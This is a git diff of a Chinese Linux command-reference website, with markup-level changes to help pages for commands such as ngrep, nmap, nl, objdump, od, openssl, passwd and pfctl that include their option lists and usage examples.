    - - + + \ No newline at end of file diff --git a/c/newusers.html b/c/newusers.html index 4fbce70ae4..895b4d3f2e 100644 --- a/c/newusers.html +++ b/c/newusers.html @@ -9,7 +9,7 @@ newusers 命令,Linux newusers 命令详解:用于批处理的方式一次创建多个命令 - Linux 命令搜索引擎 - + @@ -157,7 +157,7 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin " class="copied">

    其中除了/sbin/nologin,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成/sbin/nologin,比如上面的例子。

    关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。

    - - + + \ No newline at end of file diff --git a/c/nfsstat.html b/c/nfsstat.html index 3a81b17ed7..fcaa5fbcd0 100644 --- a/c/nfsstat.html +++ b/c/nfsstat.html @@ -9,7 +9,7 @@ nfsstat 命令,Linux nfsstat 命令详解:列出NFS客户端和服务器的工作状态 - Linux 命令搜索引擎 - + @@ -141,22 +141,22 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入:

    -
    nfsstat -c
    +
    nfsstat -c
     

    要显示和打印与客户机NFS调用相关的信息,输入如下命令:

    -
    nfsstat -cn
    +
    nfsstat -cn
     

    要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令:

    -
    nfsstat -r
    +
    nfsstat -r
     

    要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令:

    nfsstat –s
     
    - - + + \ No newline at end of file diff --git a/c/ngrep.html b/c/ngrep.html index 060aaffd1e..8f9d64f3fd 100644 --- a/c/ngrep.html +++ b/c/ngrep.html @@ -9,7 +9,7 @@ ngrep 命令,Linux ngrep 命令详解:方便的数据包匹配和显示工具 - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。

    如果yum无法安装就用以下步骤安装libpcap:

    wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
    -tar -zxf libpcap-1.3.0.tar.gz
    +tar -zxf libpcap-1.3.0.tar.gz
     cd libpcap-1.3.0
     ./configure
     make && make install
    @@ -146,32 +146,32 @@ make && make install
     <-P char> <-F file>  
     " class="copied">

    选项

    -
    -e # 显示空数据包
    --i # 忽略大小写
    --v # 反转匹配
    --R # don't do privilege revocation logic
    --x # 以16进制格式显示
    --X # 以16进制格式匹配
    --w # 整字匹配
    --p # 不使用混杂模式
    --l # make stdout line buffered
    --D # replay pcap_dumps with their recorded time intervals
    --t # 在每个匹配的包之前显示时间戳
    --T # 显示上一个匹配的数据包之间的时间间隔
    --M # 仅进行单行匹配
    --I # 从文件中读取数据进行匹配
    --O # 将匹配的数据保存到文件
    --n # 仅捕获指定数目的数据包进行查看
    --A # 匹配到数据包后dump随后的指定数目的数据包
    --s # set the bpf caplen
    --S # set the limitlen on matched packets
    --W # 设置显示格式byline将解析包中的换行符
    --c # 强制显示列的宽度
    --P # set the non-printable display char to what is specified
    --F # 使用文件中定义的bpf(Berkeley Packet Filter)
    --N # 显示由IANA定义的子协议号
    --d # 使用哪个网卡,可以用-L选项查询
    --L # 查询网卡接口
    +
    -e # 显示空数据包
    +-i # 忽略大小写
    +-v # 反转匹配
    +-R # don't do privilege revocation logic
    +-x # 以16进制格式显示
    +-X # 以16进制格式匹配
    +-w # 整字匹配
    +-p # 不使用混杂模式
    +-l # make stdout line buffered
    +-D # replay pcap_dumps with their recorded time intervals
    +-t # 在每个匹配的包之前显示时间戳
    +-T # 显示上一个匹配的数据包之间的时间间隔
    +-M # 仅进行单行匹配
    +-I # 从文件中读取数据进行匹配
    +-O # 将匹配的数据保存到文件
    +-n # 仅捕获指定数目的数据包进行查看
    +-A # 匹配到数据包后dump随后的指定数目的数据包
    +-s # set the bpf caplen
    +-S # set the limitlen on matched packets
    +-W # 设置显示格式byline将解析包中的换行符
    +-c # 强制显示列的宽度
    +-P # set the non-printable display char to what is specified
    +-F # 使用文件中定义的bpf(Berkeley Packet Filter)
    +-N # 显示由IANA定义的子协议号
    +-d # 使用哪个网卡,可以用-L选项查询
    +-L # 查询网卡接口
     

    实例

    捕捉cloudian:18080端口的request和response,-W byline用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。-d lo是监听本地网卡:

    -
    ngrep -W byline -d lo port 18080
    +
    ngrep -W byline -d lo port 18080
     

    捕捉amazon:80端口的request和response。-d eth0是用来监听对外的网卡:

    -
    ngrep -W byline -d eth0 port 80
    +
    ngrep -W byline -d eth0 port 80
     

    可以用-d any来捕捉所有的包:

    -
    ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080
    +
    ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080
     

    捕获字符串.flv,比如要查看在Web Flash 视频中的.flv文件的下载地址:

    -
    ngrep -d3 -N -q \.flv
    +
    ngrep -d3 -N -q \.flv
     interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2
     55.255.192.0)
     match: \.flv
    @@ -275,7 +275,7 @@ rT3vFo7ac; SID=DQAAAHcAAABJCEXeOVLHu2rIfb5BfKP3GG9PbhJDEkXsLTV8y0f_lvSd2Y46Q0FPt
     JGxdBniQBmXm99y7L-NBNORN82N3unmZSGHFPfePVHnLK2MjYjglyXZhU9x7ETXNBnY3NurNijHDhJ7K
     yi7E53UBOcv4V.
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/nice.html b/c/nice.html index 4c57761e3d..d219ab17c5 100644 --- a/c/nice.html +++ b/c/nice.html @@ -9,7 +9,7 @@ nice 命令,Linux nice 命令详解:调整程序执行的优先权等级 - Linux 命令搜索引擎 - + @@ -129,14 +129,14 @@ customElements.define('markdown-style', MarkdownStyle);指令及选项:需要运行的指令及其他选项。

    实例

    新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU:

    -
    nice -19 tar zcf pack.tar.gz documents
    +
    nice -19 tar zcf pack.tar.gz documents
     

    方法非常简单,即在原命令前加上nice -19。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级就应该加上nice --20

    -
    nice --20 tar zcf pack.tar.gz documents
    +
    nice --20 tar zcf pack.tar.gz documents
     
    - - + + \ No newline at end of file diff --git a/c/nisdomainname.html b/c/nisdomainname.html index 4afbd4b3e7..9f426f7888 100644 --- a/c/nisdomainname.html +++ b/c/nisdomainname.html @@ -9,7 +9,7 @@ nisdomainname 命令,Linux nisdomainname 命令详解:显示主机NIS的域名 - Linux 命令搜索引擎 - + @@ -125,7 +125,7 @@ customElements.define('markdown-style', MarkdownStyle);-v:详细信息模式。
    - - + + \ No newline at end of file diff --git a/c/nl.html b/c/nl.html index 5865b714cf..44e4442001 100644 --- a/c/nl.html +++ b/c/nl.html @@ -9,7 +9,7 @@ nl 命令,Linux nl 命令详解:为每一个文件添加行号。 - Linux 命令搜索引擎 - + @@ -137,11 +137,11 @@ customElements.define('markdown-style', MarkdownStyle);-s, --number-separator=STRING 在行号后添加字符串STRING。 -v, --starting-line-number=NUMBER 每部分的起始行号。 -w, --number-width=NUMBER 行号宽度为NUMBER。 ---help 显示帮助信息并退出。 ---version 显示版本信息并退出。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 -默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6 +默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6 CC是由两个字符组成的,默认为\: ,第二个字符如果缺失则默认为: @@ -243,7 +243,7 @@ footer_2 footer_2 -[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt +[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt 0 header_1 @@ -257,7 +257,7 @@ footer_2 2 footer_2 -[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt +[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt 1 header_1 @@ -326,12 +326,12 @@ ZhuangZhu-74 2 2019-11-21 3 127.0.0.1 -[user2@pc ~]$ nl -b p'1$' nl_normal.txt +[user2@pc ~]$ nl -b p'1$' nl_normal.txt ZhuangZhu-74 1 2019-11-21 2 127.0.0.1 -[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt +[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt 1 ZhuangZhu-74 2019-11-21 127.0.0.1 @@ -354,7 +354,7 @@ ZhuangZhu-74
    1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 nlinfo coreutils 'nl invocation'
    - - + + \ No newline at end of file diff --git a/c/nm.html b/c/nm.html index 526b57c8fc..7aca21afd0 100644 --- a/c/nm.html +++ b/c/nm.html @@ -9,7 +9,7 @@ nm 命令,Linux nm 命令详解:显示二进制目标文件的符号表 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    目标文件:二进制目标文件,通常是库文件和可执行文件。

    - - + + \ No newline at end of file diff --git a/c/nmap.html b/c/nmap.html index 9788b7f0e5..fca921ee96 100644 --- a/c/nmap.html +++ b/c/nmap.html @@ -9,7 +9,7 @@ nmap 命令,Linux nmap 命令详解:网络探测和安全审核 - Linux 命令搜索引擎 - + @@ -200,7 +200,7 @@ PORT STATE service Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds " class="copied">
    - - + + \ No newline at end of file diff --git a/c/nmcli.html b/c/nmcli.html index b1bd132003..3d62140fbc 100644 --- a/c/nmcli.html +++ b/c/nmcli.html @@ -9,7 +9,7 @@ nmcli 命令,Linux nmcli 命令详解:地址配置工具 - Linux 命令搜索引擎 - + @@ -164,7 +164,7 @@ OBJECT

    实例

    nmcli connection show            # 查看当前连接状态
     nmcli connection reload          # 重启服务
    -nmcli connection show -active    # 显示活动的连接
    +nmcli connection show -active    # 显示活动的连接
     nmcli connection show "lan eth0" # 显示指定一个网络连接配置
     nmcli device status              # 显示设备状态
     nmcli device show eno16777736    # 显示指定接口属性
    @@ -201,7 +201,7 @@ nmcli con add help               # 查看帮助
     # ip4/ip6
     # gw4/gw5
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/nohup.html b/c/nohup.html index 00c8f776b0..c263852d96 100644 --- a/c/nohup.html +++ b/c/nohup.html @@ -9,7 +9,7 @@ nohup 命令,Linux nohup 命令详解:将程序以忽略挂起信号的方式运行起来 - Linux 命令搜索引擎 - + @@ -139,10 +139,10 @@ customElements.define('markdown-style', MarkdownStyle);

    下面命令,会在同一个目录下生成一个名称为 nohup.out 的文件,其中包含了正在运行的程序的输出内容

    -
    nohup ping -c 10 baidu.com
    +
    nohup ping -c 10 baidu.com
     
    - - + + \ No newline at end of file diff --git a/c/nologin.html b/c/nologin.html index d465ec6ad0..e209ba48da 100644 --- a/c/nologin.html +++ b/c/nologin.html @@ -9,7 +9,7 @@ nologin 命令,Linux nologin 命令详解:拒绝用户登录系统 - Linux 命令搜索引擎 - + @@ -125,11 +125,11 @@ customElements.define('markdown-style', MarkdownStyle);Linux禁止用户登录:

    禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。  

    1、禁止个别用户登录,比如禁止lynn用户登录。

    -
    passwd -l lynn
    +
    passwd -l lynn
     

    这就话的意思是锁定lynn用户,这样该用户就不能登录了。  

    -
    passwd -u lynn
    +
    passwd -u lynn
     

    上面是对锁定的用户lynn进行解锁,用户可登录了。    

    @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);

    除root以外的用户不能登录了。

    - - + + \ No newline at end of file diff --git a/c/nproc.html b/c/nproc.html index 26ae11bd32..ed877e8533 100644 --- a/c/nproc.html +++ b/c/nproc.html @@ -9,7 +9,7 @@ nproc 命令,Linux nproc 命令详解:打印可用的处理器单元数量。 - Linux 命令搜索引擎 - + @@ -124,10 +124,10 @@ customElements.define('markdown-style', MarkdownStyle);打印可用的处理器单元数量。

    选项

    -
    --all         打印已安装处理器的数量。
    ---ignore=N    如果可以的情况下,排除 N 个处理单元。
    ---help        显示帮助信息并退出。
    ---version     显示版本信息并退出。
    +
    --all         打印已安装处理器的数量。
    +--ignore=N    如果可以的情况下,排除 N 个处理单元。
    +--help        显示帮助信息并退出。
    +--version     显示版本信息并退出。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -214,7 +214,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/nslookup.html b/c/nslookup.html index 2866e36421..fbfddbe7e3 100644 --- a/c/nslookup.html +++ b/c/nslookup.html @@ -9,7 +9,7 @@ nslookup 命令,Linux nslookup 命令详解:查询域名DNS信息的工具 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ www.jsdig.com canonical name = host.1.jsdig.com. Name: host.1.jsdig.com Address: 100.42.212.8 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ntpdate.html b/c/ntpdate.html index 8a8bd7bf96..76d553276a 100644 --- a/c/ntpdate.html +++ b/c/ntpdate.html @@ -9,7 +9,7 @@ ntpdate 命令,Linux ntpdate 命令详解:使用网络计时协议(NTP)设置日期和时间 - Linux 命令搜索引擎 - + @@ -130,16 +130,16 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -aKeyid               # 使用 Keyid 来认证全部数据包。
    --b                    # 通过调用 settimeofday 子例程来增加时钟的时间。
    --d                    # 指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
    --eAuthenticationDelay # 指定延迟认证处理的时间秒数。
    --kKeyFile             # 当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
    --oVersion             # 当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
    --pSamples             # 指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
    --s                    # 指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
    --tTimeOut             # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
    --u                    # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
    +
    -aKeyid               # 使用 Keyid 来认证全部数据包。
    +-b                    # 通过调用 settimeofday 子例程来增加时钟的时间。
    +-d                    # 指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
    +-eAuthenticationDelay # 指定延迟认证处理的时间秒数。
    +-kKeyFile             # 当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
    +-oVersion             # 当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
    +-pSamples             # 指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
    +-s                    # 指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
    +-tTimeOut             # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
    +-u                    # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
     
    - - + + \ No newline at end of file diff --git a/c/ntsysv.html b/c/ntsysv.html index d884f26f12..e7f4d08e63 100644 --- a/c/ntsysv.html +++ b/c/ntsysv.html @@ -9,7 +9,7 @@ ntsysv 命令,Linux ntsysv 命令详解:集中管理系统的各种服务 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    使用空格键选择或者取消选项!

    - - + + \ No newline at end of file diff --git a/c/objdump.html b/c/objdump.html index ea1198ebb3..1f477b4138 100644 --- a/c/objdump.html +++ b/c/objdump.html @@ -9,7 +9,7 @@ objdump 命令,Linux objdump 命令详解:显示二进制文件信息 - Linux 命令搜索引擎 - + @@ -118,81 +118,81 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    objdump命令 是用查看目标文件或者可执行的目标文件的构成的gcc工具。

    选项

    -
    -a --archive-headers 
    +
    -a --archive-headers 
     # 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 
     
    --b bfdname --target=bfdname 
    +-b bfdname --target=bfdname 
     # 指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: 
     
    -objdump -b oasys -m vax -h fu.o 
    +objdump -b oasys -m vax -h fu.o 
     # 显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 
     
    --C --demangle 
    +-C --demangle 
     # 将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。 
    ---debugging 
    --g 
    +--debugging 
    +-g 
     # 显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 
     
    --e --debugging-tags 
    +-e --debugging-tags 
     # 类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 
    ---disassemble 
    --d 
    +--disassemble 
    +-d 
     # 从objfile中反汇编那些特定指令机器码的section。 
     
    --D --disassemble-all 
    +-D --disassemble-all 
     # 与 -d 类似,但反汇编所有section. 
     
     --prefix-addresses 
     # 反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。 
     
    --EB 
    --EL 
    ---endian={big|little} 
    +-EB 
    +-EL 
    +--endian={big|little} 
     # 指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. 
     
    --f 
    +-f 
     --file-headers 
     显示objfile中每个文件的整体头部摘要信息。 
     
    --h 
    +-h 
     --section-headers 
    ---headers 
    +--headers 
     显示目标文件各个section的头部摘要信息。 
     
    --H 
    ---help 
    +-H 
    +--help 
     简短的帮助信息。 
     
    --i 
    ---info 
    -显示对于 -b 或者 -m 选项可用的架构和目标格式列表。 
    +-i 
    +--info 
    +显示对于 -b 或者 -m 选项可用的架构和目标格式列表。 
     
    --j name
    ---section=name 
    +-j name
    +--section=name 
     仅仅显示指定名称为name的section的信息 
     
    --l
    +-l
     --line-numbers 
     用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。 
     
    --m machine 
    ---architecture=machine 
    +-m machine 
    +--architecture=machine 
     指定反汇编目标文件时使用的架构,当待反汇编文件本身没描述架构信息的时候(比如S-records),这个选项很有用。可以用-i选项列出这里能够指定的架构. 
     
    ---reloc 
    --r 
    +--reloc 
    +-r 
     显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇编后的格式显示出来。 
     
     --dynamic-reloc 
    --R 
    +-R 
     显示文件的动态重定位入口,仅仅对于动态目标文件意义,比如某些共享库。 
     
    --s 
    +-s 
     --full-contents 
     显示指定section的完整内容。默认所有的非空section都会被显示。 
     
    --S 
    ---source 
    +-S 
    +--source 
     尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,效果比较明显。隐含了-d参数。 
     
     --show-raw-insn 
    @@ -207,23 +207,23 @@ customElements.define('markdown-style', MarkdownStyle);--stop-address=address 
     显示数据直到指定地址为止,该项影响-d、-r和-s选项的输出。 
     
    --t 
    ---syms 
    +-t 
    +--syms 
     显示文件的符号表入口。类似于nm -s提供的信息 
     
    --T 
    +-T 
     --dynamic-syms 
     显示文件的动态符号表入口,仅仅对动态目标文件意义,比如某些共享库。它显示的信息类似于 nm -D|--dynamic 显示的信息。 
     
    --V 
    ---version 
    +-V 
    +--version 
     版本信息 
     
     --all-headers 
    --x 
    -显示所可用的头信息,包括符号表、重定位入口。-x 等价于-a -f -h -r -t 同时指定。 
    +-x 
    +显示所可用的头信息,包括符号表、重定位入口。-x 等价于-a -f -h -r -t 同时指定。 
     
    --z 
    +-z 
     --disassemble-zeroes 
     一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。 
     
    @@ -906,7 +906,7 @@ Idx Name          Size      VMA       LMA       File off  Algn
                       CONTENTS, READONLY 
     " class="copied">

    这里,更多的内容参见man objdump中的这个选项。

    - - + + \ No newline at end of file diff --git a/c/od.html b/c/od.html index d0f1ffb7ef..d7d19fbfee 100644 --- a/c/od.html +++ b/c/od.html @@ -9,7 +9,7 @@ od 命令,Linux od 命令详解:输出文件的八进制、十六进制等格式编码的字节 - Linux 命令搜索引擎 - + @@ -173,7 +173,7 @@ customElements.define('markdown-style', MarkdownStyle);

    说明:先准备一个tmp文件

    -
    [linuxde@localhost ~]$ od -b tmp
    +
    [linuxde@localhost ~]$ od -b tmp
     0000000 141 142 143 144 145 146 040 147 012
     0000011
     

    说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节

    -
    [linuxde@localhost ~]$ od -c tmp
    +
    [linuxde@localhost ~]$ od -c tmp
     0000000   a   b   c   d   e   f       g  \n
     0000011
     

    说明:使用ASCII码进行输出,注意其中包括转义字符

    -
    [linuxde@localhost ~]$ od -t d1 tmp
    +
    [linuxde@localhost ~]$ od -t d1 tmp
     0000000   97   98   99  100  101  102   32  103   10
     0000011
     

    说明:使用单字节十进制进行解释

    -
    [linuxde@localhost ~]$ od -A d -c tmp
    +
    [linuxde@localhost ~]$ od -A d -c tmp
     0000000   a   b   c   d   e   f       g  \n
     0000009
     

    说明:设置地址格式为十进制。

    -
    [linuxde@localhost ~]$ od -A x -c tmp
    +
    [linuxde@localhost ~]$ od -A x -c tmp
     000000   a   b   c   d   e   f       g  \n
     000009
     

    说明:设置地址格式为十六进制

    -
    [linuxde@localhost ~]$ od -j 2 -c tmp
    +
    [linuxde@localhost ~]$ od -j 2 -c tmp
     0000002   c   d   e   f       g  \n
     0000011
     

    说明:跳过开始的两个字节

    -
    [linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
    +
    [linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
     0000002   c   d
     0000004
     

    说明:跳过开始的两个字节,并且仅输出两个字节

    -
    [linuxde@localhost ~]$ od -w1 -c tmp
    +
    [linuxde@localhost ~]$ od -w1 -c tmp
     0000000   a
     0000001   b
     0000002   c
    @@ -253,7 +253,7 @@ abcdef g
     0000011
     " class="copied">

    说明:每行仅输出1个字节

    -
    [linuxde@localhost ~]$ od -w2 -c tmp
    +
    [linuxde@localhost ~]$ od -w2 -c tmp
     0000000   a   b
     0000002   c   d
     0000004   e   f
    @@ -269,7 +269,7 @@ abcdef g
     0000011
     " class="copied">

    说明:每行输出两个字节

    -
    [linuxde@localhost ~]$ od -w3 -b tmp
    +
    [linuxde@localhost ~]$ od -w3 -b tmp
     0000000 141 142 143
     0000003 144 145 146
     0000006 040 147 012
    @@ -281,7 +281,7 @@ abcdef g
     0000011
     " class="copied">

    说明:每行输出3个字节,并使用八进制单字节进行解释

    - - + + \ No newline at end of file diff --git a/c/openssl.html b/c/openssl.html index ac04decaf5..9960eaf1c3 100644 --- a/c/openssl.html +++ b/c/openssl.html @@ -9,7 +9,7 @@ openssl 命令,Linux openssl 命令详解:强大的安全套接字层密码库 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);实例

    1、使用 openssl 生成密码

    几乎所有 Linux 发行版都包含 openssl。我们可以利用它的随机功能来生成可以用作密码的随机字母字符串。

    -
    openssl rand -base64 10
    +
    openssl rand -base64 10
     # nU9LlHO5nsuUvw==
     

    更多实例:

    -
    openssl version -a
    +
    openssl version -a
     openssl help
    -openssl genrsa -aes128 -out fd.key 2048 # pem format
    -openssl rsa -text -in fd.key
    +openssl genrsa -aes128 -out fd.key 2048 # pem format
    +openssl rsa -text -in fd.key
     
    - - + + \ No newline at end of file diff --git a/c/parted.html b/c/parted.html index 6998f9addd..765968adbb 100644 --- a/c/parted.html +++ b/c/parted.html @@ -9,7 +9,7 @@ parted 命令,Linux parted 命令详解:磁盘分区和分区大小调整工具 - Linux 命令搜索引擎 - + @@ -268,7 +268,7 @@ Partition 1 has different physical/logical endings:
    Creating journal (8192 blocks): done Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 28 mounts or -180 days, whichever comes first. Use tune2fs -c or -i to override. +180 days, whichever comes first. Use tune2fs -c or -i to override.
    - - + + \ No newline at end of file diff --git a/c/partprobe.html b/c/partprobe.html index 3ca9e5ed52..0f7b998c17 100644 --- a/c/partprobe.html +++ b/c/partprobe.html @@ -9,7 +9,7 @@ partprobe 命令,Linux partprobe 命令详解:不重启的情况下重读分区 - Linux 命令搜索引擎 - + @@ -280,7 +280,7 @@ Syncing disks.
    done This filesystem will be automatically checked every 26 mounts or -180 days, whichever comes first. Use tune2fs -c or -i to override. +180 days, whichever comes first. Use tune2fs -c or -i to override. [root@localhost ~]#

    使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。

    - - + + \ No newline at end of file diff --git a/c/passwd.html b/c/passwd.html index e4e497ef03..95c2b407a6 100644 --- a/c/passwd.html +++ b/c/passwd.html @@ -9,7 +9,7 @@ passwd 命令,Linux passwd 命令详解:用于让用户可以更改自己的密码 - Linux 命令搜索引擎 - + @@ -253,7 +253,7 @@ passwd: Success # 清除成功; Empty password. # 空密码,也就是没有密码; " class="copied">

    注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。

    - - + + \ No newline at end of file diff --git a/c/paste.html b/c/paste.html index fb22c003af..5f6fffb200 100644 --- a/c/paste.html +++ b/c/paste.html @@ -9,7 +9,7 @@ paste 命令,Linux paste 命令详解:将多个文件按列队列合并 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件列表:指定需要合并的文件列表。

    - - + + \ No newline at end of file diff --git a/c/patch.html b/c/patch.html index 4b78f4566f..6bb2dd2219 100644 --- a/c/patch.html +++ b/c/patch.html @@ -9,7 +9,7 @@ patch 命令,Linux patch 命令详解:为开放源代码软件安装补丁程序 - Linux 命令搜索引擎 - + @@ -192,7 +192,7 @@ customElements.define('markdown-style', MarkdownStyle);原文件:指定需要打补丁的原始文件;
  • 补丁文件:指定补丁文件。
  • - - + + \ No newline at end of file diff --git a/c/pathchk.html b/c/pathchk.html index aad63637b6..981f7aaf22 100644 --- a/c/pathchk.html +++ b/c/pathchk.html @@ -9,7 +9,7 @@ pathchk 命令,Linux pathchk 命令详解:检查文件中不可移植的部分 - Linux 命令搜索引擎 - + @@ -138,7 +138,7 @@ customElements.define('markdown-style', MarkdownStyle);文件:带路径信息的文件;
  • 后缀:可选参数,指定要去除的文件后缀字符串。
  • - - + + \ No newline at end of file diff --git a/c/perl.html b/c/perl.html index 15717d990a..53e8ebec52 100644 --- a/c/perl.html +++ b/c/perl.html @@ -9,7 +9,7 @@ perl 命令,Linux perl 命令详解:perl语言解释器 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:要运行的perl脚本程序。

    - - + + \ No newline at end of file diff --git a/c/pfctl.html b/c/pfctl.html index 4af365b1c9..7e356ac80d 100644 --- a/c/pfctl.html +++ b/c/pfctl.html @@ -9,7 +9,7 @@ pfctl 命令,Linux pfctl 命令详解:PF防火墙的配置命令 - Linux 命令搜索引擎 - + @@ -125,8 +125,8 @@ customElements.define('markdown-style', MarkdownStyle);

    重启操作系统让配置生效。

    也可以通过pfctl程序启动和停止pf:

    -
    pfctl -e
    -pfctl -d
    +
    pfctl -e
    +pfctl -d
     
    @@ -147,15 +147,15 @@ pfctl -d

    空行会被忽略,以#开头的行被认为是注释。

    控制

    引导之后,PF可以通过pfctl程序进行操作,以下是一些例子:

    -
    pfctl -f /etc/pf.conf  # 载入 pf.conf 文件
    -pfctl -nf /etc/pf.conf # 解析文件,但不载入
    -pfctl -Nf /etc/pf.conf # 只载入文件中的NAT规则
    -pfctl -Rf /etc/pf.conf # 只载入文件中的过滤规则
    -pfctl -sn # 显示当前的NAT规则
    -pfctl -sr # 显示当前的过滤规则
    -pfctl -ss # 显示当前的状态表
    -pfctl -si # 显示过滤状态和计数
    -pfctl -sa # 显示任何可显示的
    +
    pfctl -f /etc/pf.conf  # 载入 pf.conf 文件
    +pfctl -nf /etc/pf.conf # 解析文件,但不载入
    +pfctl -Nf /etc/pf.conf # 只载入文件中的NAT规则
    +pfctl -Rf /etc/pf.conf # 只载入文件中的过滤规则
    +pfctl -sn # 显示当前的NAT规则
    +pfctl -sr # 显示当前的过滤规则
    +pfctl -ss # 显示当前的状态表
    +pfctl -si # 显示过滤状态和计数
    +pfctl -sa # 显示任何可显示的
     

    完整的命令列表,请参阅pfctl的man手册页。

